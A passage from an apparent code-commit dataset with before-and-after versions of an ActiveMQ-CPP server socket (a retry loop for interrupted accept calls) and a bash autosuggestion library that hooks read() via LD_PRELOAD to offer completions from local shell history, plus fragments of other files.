'\\n' && (*instanceEnd == '\\n' || *instanceEnd == '\\0'))\n\t\toutlet_int(x->outlet1, i);\n\telse\n\t\toutlet_anything(x->outlet1, instance, NULL, 0L);\t\t\n\n\t\/\/ Output from 1st outlet: OC name with instance removed\n\toutlet_anything(x->outlet0, osc, NULL, 0L);\t\t\n\treturn;\n\n\tspillover:\n\t\toutlet_anything(x->outlet_overflow, msg, argc , argv);\n\t\treturn;\t\n}\n\n\n<|endoftext|>"} {"text":"<commit_before>\/*\n * Licensed to the Apache Software Foundation (ASF) under one or more\n * contributor license agreements. See the NOTICE file distributed with\n * this work for additional information regarding copyright ownership.\n * The ASF licenses this file to You under the Apache License, Version 2.0\n * (the \"License\"); you may not use this file except in compliance with\n * the License. You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#include \"ServerSocket.h\"\n#include \"SocketError.h\"\n\n#ifdef HAVE_WINSOCK2_H\n #include <Winsock2.h>\n #include <Ws2tcpip.h> \n #include <sys\/stat.h>\n #define stat _stat\n#else\n #include <unistd.h>\n #include <netdb.h>\n #include <fcntl.h>\n #include <sys\/file.h>\n #include <sys\/socket.h>\n #include <netinet\/in.h>\n #include <arpa\/inet.h>\n #include <string.h>\n#endif\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <stdarg.h>\n#include <ctype.h>\n#include <sys\/types.h>\n#include <assert.h>\n#include <string>\n\nusing namespace activemq::network;\n\n#ifdef HAVE_WINSOCK2_H\n\n \/\/ Static socket initializer needed for winsock\n\n ServerSocket::StaticServerSocketInitializer::StaticServerSocketInitializer () {\n socketInitError = NULL;\n const WORD version_needed = MAKEWORD(2,2); \/\/ lo-order byte: major version\n WSAData temp;\n if( WSAStartup(version_needed, &temp )){\n clear();\n socketInitError = new SocketException ( __FILE__, __LINE__,\n \"winsock.dll was not found\");\n }\n }\n ServerSocket::StaticServerSocketInitializer::~StaticServerSocketInitializer () {\n clear();\n WSACleanup();\n }\n \n \/\/ Create static instance of the socket initializer.\n ServerSocket::StaticServerSocketInitializer \n ServerSocket::staticSocketInitializer;\n \n#endif\n\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nServerSocket::ServerSocket()\n{\n socketHandle = Socket::INVALID_SOCKET_HANDLE;\n \n#if defined(HAVE_WINSOCK2_H)\n if( ServerSocket::staticSocketInitializer.getSocketInitError() != NULL ) {\n throw *ServerSocket::staticSocketInitializer.getSocketInitError();\n }\n#endif\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nServerSocket::~ServerSocket()\n{\n \/\/ No shutdown, just close - dont want blocking destructor.\n close();\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nvoid ServerSocket::bind( const char* host, int port ) throw ( SocketException )\n{\n bind (host, port, SOMAXCONN);\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nvoid ServerSocket::bind( const char* host, \n int port, \n int backlog ) throw ( SocketException )\n{\n if(isBound()) {\n throw SocketException ( __FILE__, __LINE__, \n \"ServerSocket::bind - Socket already bound\" );\n }\n \n \/\/ Create the socket.\n socketHandle = ::socket(AF_INET, SOCK_STREAM, 0 );\n if( socketHandle < 0) {\n socketHandle = Socket::INVALID_SOCKET_HANDLE;\n throw SocketException( __FILE__, __LINE__, SocketError::getErrorString().c_str());\n }\n \n \/\/ Verify the port value.\n if( port <= 0 || port > 65535 ) {\n throw SocketException( __FILE__, __LINE__, \n \"ServerSocket::bind - Port out of range: %d\", port );\n }\n \n sockaddr_in bind_addr;\n bind_addr.sin_family = AF_INET;\n bind_addr.sin_port = htons((short)port);\n bind_addr.sin_addr.s_addr = 0; \/\/ To be set later down...\n memset(&bind_addr.sin_zero, 0, sizeof(bind_addr.sin_zero));\n\tint status;\n\t\n \/\/ Resolve name\n#if defined(HAVE_STRUCT_ADDRINFO) \n ::addrinfo hints;\n memset(&hints, 0, sizeof(addrinfo));\n hints.ai_family = PF_INET;\n struct addrinfo *res_ptr = NULL;\n status = ::getaddrinfo(host, NULL, &hints, &res_ptr);\n if( status != 0 || res_ptr == NULL) {\n throw SocketException( __FILE__, __LINE__, SocketError::getErrorString().c_str() );\n }\n assert(res_ptr->ai_addr->sa_family == AF_INET);\n \/\/ Porting: On both 32bit and 64 bit systems that we compile to soo far, sin_addr is a 32 bit value, not an unsigned long.\n assert(sizeof(((sockaddr_in*)res_ptr->ai_addr)->sin_addr.s_addr) == 4);\n bind_addr.sin_addr.s_addr = ((sockaddr_in*)res_ptr->ai_addr)->sin_addr.s_addr;\n freeaddrinfo(res_ptr);\n#else\n\tstruct ::hostent *he = ::gethostbyname(host);\n\tif( he == NULL ) {\n throw SocketException( __FILE__, __LINE__, \"Failed to resolve hostname\" );\n\t}\n\tbind_addr.sin_addr.s_addr = *((in_addr_t *)he->h_addr);\n#endif\n\n\n \/\/ Set the socket to reuse the address.\n int value = 1;\n ::setsockopt(socketHandle, SOL_SOCKET, SO_REUSEADDR, (char*)&value, sizeof(int) );\n \n status = ::bind(socketHandle,\n reinterpret_cast<sockaddr*>(&bind_addr), sizeof( bind_addr ));\n\n if( status < 0 ){\n close();\n throw SocketException ( __FILE__, __LINE__, \n \"ServerSocket::bind - %s\", SocketError::getErrorString().c_str() );\n }\n status = ::listen( socketHandle, (int)backlog );\n if( status < 0 ) {\n close();\n throw SocketException( __FILE__, __LINE__, SocketError::getErrorString().c_str() );\n }\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nvoid ServerSocket::close() throw (cms::CMSException){\n \n if( isBound() ) {\n \n #if !defined(HAVE_WINSOCK2_H)\n ::close( socketHandle );\n #else\n ::closesocket( socketHandle );\n #endif\n\n socketHandle = Socket::INVALID_SOCKET_HANDLE;\n }\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nbool ServerSocket::isBound() const {\n return this->socketHandle != Socket::INVALID_SOCKET_HANDLE;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nSocket* ServerSocket::accept() throw (SocketException)\n{\n struct sockaddr_in temp;\n\n #if !defined(HAVE_WINSOCK2_H)\n socklen_t temp_len = sizeof( sockaddr_in );\n #else\n int temp_len = sizeof( sockaddr_in );\n #endif\n\n SocketHandle ss_socket_handle = \n ::accept( socketHandle, reinterpret_cast<struct sockaddr*>(&temp), &temp_len );\n if( ss_socket_handle < 0 ) {\n throw SocketException( __FILE__, __LINE__, \n \"ServerSocket::accept- %s\", SocketError::getErrorString().c_str() );\n }\n \n return new TcpSocket( ss_socket_handle );\n}\n\n<commit_msg>AMQCPP-107 - adding handling of signal interruptions to ServerSocket<commit_after>\/*\n * Licensed to the Apache Software Foundation (ASF) under one or more\n * contributor license agreements. See the NOTICE file distributed with\n * this work for additional information regarding copyright ownership.\n * The ASF licenses this file to You under the Apache License, Version 2.0\n * (the \"License\"); you may not use this file except in compliance with\n * the License. You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#include \"ServerSocket.h\"\n#include \"SocketError.h\"\n\n#ifdef HAVE_WINSOCK2_H\n #include <Winsock2.h>\n #include <Ws2tcpip.h> \n #include <sys\/stat.h>\n #define stat _stat\n#else\n #include <unistd.h>\n #include <netdb.h>\n #include <fcntl.h>\n #include <sys\/file.h>\n #include <sys\/socket.h>\n #include <netinet\/in.h>\n #include <arpa\/inet.h>\n #include <string.h>\n#endif\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <stdarg.h>\n#include <ctype.h>\n#include <sys\/types.h>\n#include <assert.h>\n#include <string>\n\nusing namespace activemq::network;\n\n#ifdef HAVE_WINSOCK2_H\n\n \/\/ Static socket initializer needed for winsock\n\n ServerSocket::StaticServerSocketInitializer::StaticServerSocketInitializer () {\n socketInitError = NULL;\n const WORD version_needed = MAKEWORD(2,2); \/\/ lo-order byte: major version\n WSAData temp;\n if( WSAStartup(version_needed, &temp )){\n clear();\n socketInitError = new SocketException ( __FILE__, __LINE__,\n \"winsock.dll was not found\");\n }\n }\n ServerSocket::StaticServerSocketInitializer::~StaticServerSocketInitializer () {\n clear();\n WSACleanup();\n }\n \n \/\/ Create static instance of the socket initializer.\n ServerSocket::StaticServerSocketInitializer \n ServerSocket::staticSocketInitializer;\n \n#endif\n\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nServerSocket::ServerSocket()\n{\n socketHandle = Socket::INVALID_SOCKET_HANDLE;\n \n#if defined(HAVE_WINSOCK2_H)\n if( ServerSocket::staticSocketInitializer.getSocketInitError() != NULL ) {\n throw *ServerSocket::staticSocketInitializer.getSocketInitError();\n }\n#endif\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nServerSocket::~ServerSocket()\n{\n \/\/ No shutdown, just close - dont want blocking destructor.\n close();\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nvoid ServerSocket::bind( const char* host, int port ) throw ( SocketException )\n{\n bind (host, port, SOMAXCONN);\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nvoid ServerSocket::bind( const char* host, \n int port, \n int backlog ) throw ( SocketException )\n{\n if(isBound()) {\n throw SocketException ( __FILE__, __LINE__, \n \"ServerSocket::bind - Socket already bound\" );\n }\n \n \/\/ Create the socket.\n socketHandle = ::socket(AF_INET, SOCK_STREAM, 0 );\n if( socketHandle < 0) {\n socketHandle = Socket::INVALID_SOCKET_HANDLE;\n throw SocketException( __FILE__, __LINE__, SocketError::getErrorString().c_str());\n }\n \n \/\/ Verify the port value.\n if( port <= 0 || port > 65535 ) {\n throw SocketException( __FILE__, __LINE__, \n \"ServerSocket::bind - Port out of range: %d\", port );\n }\n \n sockaddr_in bind_addr;\n bind_addr.sin_family = AF_INET;\n bind_addr.sin_port = htons((short)port);\n bind_addr.sin_addr.s_addr = 0; \/\/ To be set later down...\n memset(&bind_addr.sin_zero, 0, sizeof(bind_addr.sin_zero));\n\tint status;\n\t\n \/\/ Resolve name\n#if defined(HAVE_STRUCT_ADDRINFO) \n ::addrinfo hints;\n memset(&hints, 0, sizeof(addrinfo));\n hints.ai_family = PF_INET;\n struct addrinfo *res_ptr = NULL;\n status = ::getaddrinfo(host, NULL, &hints, &res_ptr);\n if( status != 0 || res_ptr == NULL) {\n throw SocketException( __FILE__, __LINE__, SocketError::getErrorString().c_str() );\n }\n assert(res_ptr->ai_addr->sa_family == AF_INET);\n \/\/ Porting: On both 32bit and 64 bit systems that we compile to soo far, sin_addr is a 32 bit value, not an unsigned long.\n assert(sizeof(((sockaddr_in*)res_ptr->ai_addr)->sin_addr.s_addr) == 4);\n bind_addr.sin_addr.s_addr = ((sockaddr_in*)res_ptr->ai_addr)->sin_addr.s_addr;\n freeaddrinfo(res_ptr);\n#else\n\tstruct ::hostent *he = ::gethostbyname(host);\n\tif( he == NULL ) {\n throw SocketException( __FILE__, __LINE__, \"Failed to resolve hostname\" );\n\t}\n\tbind_addr.sin_addr.s_addr = *((in_addr_t *)he->h_addr);\n#endif\n\n\n \/\/ Set the socket to reuse the address.\n int value = 1;\n ::setsockopt(socketHandle, SOL_SOCKET, SO_REUSEADDR, (char*)&value, sizeof(int) );\n \n status = ::bind(socketHandle,\n reinterpret_cast<sockaddr*>(&bind_addr), sizeof( bind_addr ));\n\n if( status < 0 ){\n close();\n throw SocketException ( __FILE__, __LINE__, \n \"ServerSocket::bind - %s\", SocketError::getErrorString().c_str() );\n }\n status = ::listen( socketHandle, (int)backlog );\n if( status < 0 ) {\n close();\n throw SocketException( __FILE__, __LINE__, SocketError::getErrorString().c_str() );\n }\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nvoid ServerSocket::close() throw (cms::CMSException){\n \n if( isBound() ) {\n \n #if !defined(HAVE_WINSOCK2_H)\n ::close( socketHandle );\n #else\n ::closesocket( socketHandle );\n #endif\n\n socketHandle = Socket::INVALID_SOCKET_HANDLE;\n }\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nbool ServerSocket::isBound() const {\n return this->socketHandle != Socket::INVALID_SOCKET_HANDLE;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nSocket* ServerSocket::accept() throw (SocketException)\n{\n struct sockaddr_in temp;\n\n #if !defined(HAVE_WINSOCK2_H)\n socklen_t temp_len = sizeof( sockaddr_in );\n #else\n int temp_len = sizeof( sockaddr_in );\n #endif\n\n SocketHandle ss_socket_handle = NULL;\n \n \/\/ Loop to ignore any signal interruptions that occur during the operation. \n do {\n \n ss_socket_handle = ::accept( socketHandle, \n reinterpret_cast<struct sockaddr*>(&temp), \n &temp_len );\n \n } while( ss_socket_handle < 0 && \n SocketError::getErrorCode() == SocketError::INTERRUPTED );\n \n if( ss_socket_handle < 0 ) {\n throw SocketException( __FILE__, __LINE__, \n \"ServerSocket::accept- %s\", SocketError::getErrorString().c_str() );\n }\n \n return new TcpSocket( ss_socket_handle );\n}\n\n<|endoftext|>"} {"text":"<commit_before>#include <dlfcn.h>\n#include <cstdio>\n#include <cstring>\n#include <unistd.h>\n#include <cstdlib>\n#include <termios.h>\n#include <sys\/ioctl.h>\n\n#include <iostream>\n#include <fstream>\n#include <vector>\n#include <array>\n#include <string>\n#include <map>\n#include <functional>\n#include <experimental\/optional>\n\n#include \"History.hpp\"\n\n#define cursor_forward(x) printf(\"\\033[%dC\", static_cast<int>(x))\n#define cursor_backward(x) printf(\"\\033[%dD\", static_cast<int>(x))\n\nthread_local std::array<char, 1024> lineBuffer;\nthread_local auto lineBufferPos = lineBuffer.begin();\n\nthread_local std::string printBuffer;\nthread_local std::string::iterator printBufferPos;\n\nusing namespace yb;\nthread_local History history;\nthread_local History::const_iterator historyPos;\n\nstatic char arrowIndicator = 0;\n\nusing ReadSignature = ssize_t (*)(int, void*, size_t);\nusing Char = unsigned char;\nusing CharOpt = std::experimental::optional<Char>;\n\nCharOpt newlineHandler(Char);\nCharOpt tabHandler(Char);\nCharOpt backspaceHandler(Char);\nCharOpt regularCHarHandler(Char);\nCharOpt arrowHandler1(Char);\nCharOpt arrowHandler2(Char);\nCharOpt arrowHandler3(Char);\n\nthread_local std::map<Char, std::function<CharOpt(Char)>> handlers = {\n {0x06, tabHandler},\n {0x0d, newlineHandler},\n {0x17, newlineHandler}, \/\/ TODO: this should delete one word\n {0x1b, arrowHandler1},\n {0x5b, arrowHandler2},\n {0x43, arrowHandler3},\n {0x7f, backspaceHandler}\n};\n\nint getCursorPosition(int &x, int &y) {\n int retVal = -1;\n fd_set stdInSet;\n struct timeval time;\n struct termios rawTermios, oldTermios;\n\n tcgetattr(STDIN_FILENO, &oldTermios);\n rawTermios = oldTermios;\n rawTermios.c_lflag &= ~ICANON;\n rawTermios.c_lflag &= ~ECHO;\n tcsetattr(STDIN_FILENO, TCSANOW, &rawTermios);\n\n printf(\"\\033[6n\");\n fflush(stdout);\n\n FD_ZERO(&stdInSet);\n FD_SET(STDIN_FILENO, &stdInSet);\n time.tv_sec = 0;\n time.tv_usec = 100000;\n\n if (select(STDIN_FILENO + 1, &stdInSet, NULL, NULL, &time) == 1)\n if (scanf(\"\\033[%d;%dR\", &x, &y) == 2)\n retVal = 0;\n\n tcsetattr(STDIN_FILENO, TCSADRAIN, &oldTermios);\n\n return retVal;\n}\n\nint getTerminalWidth() {\n struct winsize w;\n ioctl(0, TIOCGWINSZ, &w);\n return w.ws_col;\n}\n\nvoid clearTerminalLine() {\n \/\/ TODO: get info about terminal width and current cursor position\n \/\/ and fix below loops\n int col, row, width;\n if (getCursorPosition(row, col)) return;\n width = getTerminalWidth();\n for (int i = 0; i < width - col; i++)\n printf(\" \");\n fflush(stdout);\n for (int i = 0; i < width - col; i++)\n cursor_backward(1);\n}\n\n\nstd::string findCompletion(History::const_iterator start, const std::string &pattern) {\n for (auto it = start - 1; it > history.begin(); it--) {\n if (it->compare(0, pattern.length(), pattern) == 0) {\n historyPos = it;\n return *it;\n }\n }\n\n historyPos = history.end();\n return pattern;\n}\n\n\nvoid printCompletion(History::const_iterator startIterator, int offset) {\n std::string pattern(lineBuffer.data());\n auto completion = findCompletion(startIterator, pattern);\n\n clearTerminalLine();\n\n if (offset)\n cursor_forward(offset);\n printf(\"\\e[1;30m%s\\e[0m\", completion.c_str() + pattern.length());\n\n cursor_backward(completion.length() - pattern.length() + offset);\n fflush(stdout);\n}\n\n\nCharOpt newlineHandler(Char) {\n lineBuffer.fill(0);\n lineBufferPos = lineBuffer.begin();\n return {};\n}\n\nCharOpt backspaceHandler(Char) {\n if (lineBufferPos != lineBuffer.begin()) {\n *(--lineBufferPos) = 0;\n }\n\n return {};\n}\n\nCharOpt regularCharHandler(Char c) {\n *lineBufferPos = c;\n lineBufferPos++;\n\n printCompletion(history.end(), 1);\n\n return {};\n}\n\nCharOpt tabHandler(Char) {\n printCompletion(historyPos, 0);\n return Char{0}; \/\/ TODO: this does not seem to work.\n}\n\nCharOpt arrowHandler1(Char) {\n arrowIndicator = 1;\n return {};\n}\n\nCharOpt arrowHandler2(Char c) {\n if (arrowIndicator == 1) {\n arrowIndicator = 2;\n return {};\n }\n else {\n return regularCharHandler(c);\n }\n}\n\nCharOpt arrowHandler3(Char c) {\n CharOpt return_value = {};\n if (arrowIndicator == 2) {\n arrowIndicator = 0;\n }\n else {\n return_value = regularCharHandler(c);\n }\n try {\n printBuffer = historyPos->substr(lineBufferPos - lineBuffer.begin());\n printBufferPos = printBuffer.begin();\n } catch (...) {\n \/\/ FIXME:\n }\n\n return return_value;\n}\n\nstatic unsigned char yebash(unsigned char c) {\n\n \/\/ TODO: uncomment later\n \/\/if (!getenv(\"YEBASH\"))\n \/\/ return;\n history.read(std::string{getenv(\"HOME\")} + \"\/.bash_history\");\n\n auto handler = handlers[c];\n\n \/\/ TODO(Mrokkk): There would be a problem with processing all escape codes\n \/\/ that bash is using (e.g. ctrl+r for history searching, arrows for moving, etc.).\n \/\/ It would be thoughtful if we just disable our yebash if any of these codes would\n \/\/ occur and reenable it after a newline\n CharOpt cReturned = c;\n if (handler) {\n handler(c);\n }\n else {\n if (c < 0x20) {\n newlineHandler(c);\n }\n else {\n regularCharHandler(c);\n }\n }\n\n if (static_cast<bool>(cReturned)) {\n return cReturned.value();\n }\n\n return c;\n}\n\nssize_t read(int fd, void *buf, size_t count) {\n\n ssize_t returnValue;\n static thread_local ReadSignature realRead = nullptr;\n\n if (fd == 0) { \/\/ TODO: make it look good\n if (printBuffer.length()) {\n \/\/ Return printBuffer to bash one char at time\n *reinterpret_cast<char *>(buf) = *printBufferPos;\n *lineBufferPos++ = *printBufferPos++;\n if (printBufferPos == printBuffer.end()) {\n printBuffer.erase(printBuffer.begin(), printBuffer.end());\n }\n return 1;\n }\n }\n\n if (!realRead)\n realRead = reinterpret_cast<ReadSignature>(dlsym(RTLD_NEXT, \"read\"));\n\n returnValue = realRead(fd, buf, count);\n\n if (fd == 0 && isatty(fileno(stdin)))\n *reinterpret_cast<unsigned char *>(buf) = yebash(*reinterpret_cast<unsigned char *>(buf));\n\n return returnValue;\n}\n\n\n<commit_msg>Improve clearing line<commit_after>#include <dlfcn.h>\n#include <cstdio>\n#include <cstring>\n#include <unistd.h>\n#include <cstdlib>\n#include <termios.h>\n#include <sys\/ioctl.h>\n\n#include <iostream>\n#include <fstream>\n#include <vector>\n#include <array>\n#include <string>\n#include <map>\n#include <functional>\n#include <experimental\/optional>\n\n#include \"History.hpp\"\n\n#define cursor_forward(x) printf(\"\\033[%dC\", static_cast<int>(x))\n#define cursor_backward(x) printf(\"\\033[%dD\", static_cast<int>(x))\n\nthread_local std::array<char, 1024> lineBuffer;\nthread_local auto lineBufferPos = lineBuffer.begin();\n\nthread_local std::string printBuffer;\nthread_local std::string::iterator printBufferPos;\n\nusing namespace yb;\nthread_local History history;\nthread_local History::const_iterator historyPos;\n\nstatic char arrowIndicator = 0;\n\nusing ReadSignature = ssize_t (*)(int, void*, size_t);\nusing Char = unsigned char;\nusing CharOpt = std::experimental::optional<Char>;\n\nCharOpt newlineHandler(Char);\nCharOpt tabHandler(Char);\nCharOpt backspaceHandler(Char);\nCharOpt regularCHarHandler(Char);\nCharOpt arrowHandler1(Char);\nCharOpt arrowHandler2(Char);\nCharOpt arrowHandler3(Char);\n\nthread_local std::map<Char, std::function<CharOpt(Char)>> handlers = {\n {0x06, tabHandler},\n {0x0d, newlineHandler},\n {0x17, newlineHandler}, \/\/ TODO: this should delete one word\n {0x1b, arrowHandler1},\n {0x5b, arrowHandler2},\n {0x43, arrowHandler3},\n {0x7f, backspaceHandler}\n};\n\nint getCursorPosition() {\n int retVal = 0, x, y;\n fd_set stdInSet;\n struct timeval time;\n struct termios rawTermios, oldTermios;\n\n tcgetattr(STDIN_FILENO, &oldTermios);\n rawTermios = oldTermios;\n rawTermios.c_lflag &= ~ICANON;\n rawTermios.c_lflag &= ~ECHO;\n tcsetattr(STDIN_FILENO, TCSANOW, &rawTermios);\n\n printf(\"\\033[6n\");\n fflush(stdout);\n\n FD_ZERO(&stdInSet);\n FD_SET(STDIN_FILENO, &stdInSet);\n time.tv_sec = 0;\n time.tv_usec = 100000;\n\n if (select(STDIN_FILENO + 1, &stdInSet, NULL, NULL, &time) == 1)\n if (scanf(\"\\033[%d;%dR\", &x, &y) == 2)\n retVal = y;\n\n tcsetattr(STDIN_FILENO, TCSADRAIN, &oldTermios);\n\n return retVal;\n}\n\nint getTerminalWidth() {\n struct winsize w;\n ioctl(0, TIOCGWINSZ, &w);\n return w.ws_col;\n}\n\nvoid clearTerminalLine() {\n int pos, width;\n if (!(pos = getCursorPosition())) return;\n width = getTerminalWidth();\n for (int i = 0; i < width - pos; i++)\n printf(\" \");\n fflush(stdout);\n for (int i = 0; i < width - pos; i++)\n cursor_backward(1);\n}\n\n\nstd::string findCompletion(History::const_iterator start, const std::string &pattern) {\n for (auto it = start - 1; it > history.begin(); it--) {\n if (it->compare(0, pattern.length(), pattern) == 0) {\n historyPos = it;\n return *it;\n }\n }\n\n historyPos = history.end();\n return pattern;\n}\n\n\nvoid printCompletion(History::const_iterator startIterator, int offset) {\n std::string pattern(lineBuffer.data());\n auto completion = findCompletion(startIterator, pattern);\n\n clearTerminalLine();\n\n if (offset)\n cursor_forward(offset);\n printf(\"\\e[1;30m%s\\e[0m\", completion.c_str() + pattern.length());\n\n cursor_backward(completion.length() - pattern.length() + offset);\n fflush(stdout);\n}\n\n\nCharOpt newlineHandler(Char) {\n lineBuffer.fill(0);\n lineBufferPos = lineBuffer.begin();\n return {};\n}\n\nCharOpt backspaceHandler(Char) {\n if (lineBufferPos != lineBuffer.begin()) {\n *(--lineBufferPos) = 0;\n }\n\n return {};\n}\n\nCharOpt regularCharHandler(Char c) {\n *lineBufferPos = c;\n lineBufferPos++;\n\n printCompletion(history.end(), 1);\n\n return {};\n}\n\nCharOpt tabHandler(Char) {\n printCompletion(historyPos, 0);\n return Char{0}; \/\/ TODO: this does not seem to work.\n}\n\nCharOpt arrowHandler1(Char) {\n arrowIndicator = 1;\n return {};\n}\n\nCharOpt arrowHandler2(Char c) {\n if (arrowIndicator == 1) {\n arrowIndicator = 2;\n return {};\n }\n else {\n return regularCharHandler(c);\n }\n}\n\nCharOpt arrowHandler3(Char c) {\n CharOpt return_value = {};\n if (arrowIndicator == 2) {\n arrowIndicator = 0;\n }\n else {\n return_value = regularCharHandler(c);\n }\n try {\n printBuffer = historyPos->substr(lineBufferPos - lineBuffer.begin());\n printBufferPos = printBuffer.begin();\n } catch (...) {\n \/\/ FIXME:\n }\n\n return return_value;\n}\n\nstatic unsigned char yebash(unsigned char c) {\n\n \/\/ TODO: uncomment later\n \/\/if (!getenv(\"YEBASH\"))\n \/\/ return;\n history.read(std::string{getenv(\"HOME\")} + \"\/.bash_history\");\n\n auto handler = handlers[c];\n\n \/\/ TODO(Mrokkk): There would be a problem with processing all escape codes\n \/\/ that bash is using (e.g. ctrl+r for history searching, arrows for moving, etc.).\n \/\/ It would be thoughtful if we just disable our yebash if any of these codes would\n \/\/ occur and reenable it after a newline\n CharOpt cReturned = c;\n if (handler) {\n handler(c);\n }\n else {\n if (c < 0x20) {\n newlineHandler(c);\n }\n else {\n regularCharHandler(c);\n }\n }\n\n if (static_cast<bool>(cReturned)) {\n return cReturned.value();\n }\n\n return c;\n}\n\nssize_t read(int fd, void *buf, size_t count) {\n\n ssize_t returnValue;\n static thread_local ReadSignature realRead = nullptr;\n\n if (fd == 0) { \/\/ TODO: make it look good\n if (printBuffer.length()) {\n \/\/ Return printBuffer to bash one char at time\n *reinterpret_cast<char *>(buf) = *printBufferPos;\n *lineBufferPos++ = *printBufferPos++;\n if (printBufferPos == printBuffer.end()) {\n printBuffer.erase(printBuffer.begin(), printBuffer.end());\n }\n return 1;\n }\n }\n\n if (!realRead)\n realRead = reinterpret_cast<ReadSignature>(dlsym(RTLD_NEXT, \"read\"));\n\n returnValue = realRead(fd, buf, count);\n\n if (fd == 0 && isatty(fileno(stdin)))\n *reinterpret_cast<unsigned char *>(buf) = yebash(*reinterpret_cast<unsigned char *>(buf));\n\n return returnValue;\n}\n\n\n<|endoftext|>"} {"text":"<commit_before>\/*=========================================================================\n\n Program: Insight Segmentation & Registration Toolkit\n Module: itkBayesianClassifierImageFilterTest.cxx\n Language: C++\n Date: $Date$\n Version: $Revision$\n\n Copyright (c) Insight Software Consortium. All rights reserved.\n See ITKCopyright.txt or http:\/\/www.itk.org\/HTML\/Copyright.htm for details.\n\n This software is distributed WITHOUT ANY WARRANTY; without even \n the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR \n PURPOSE. See the 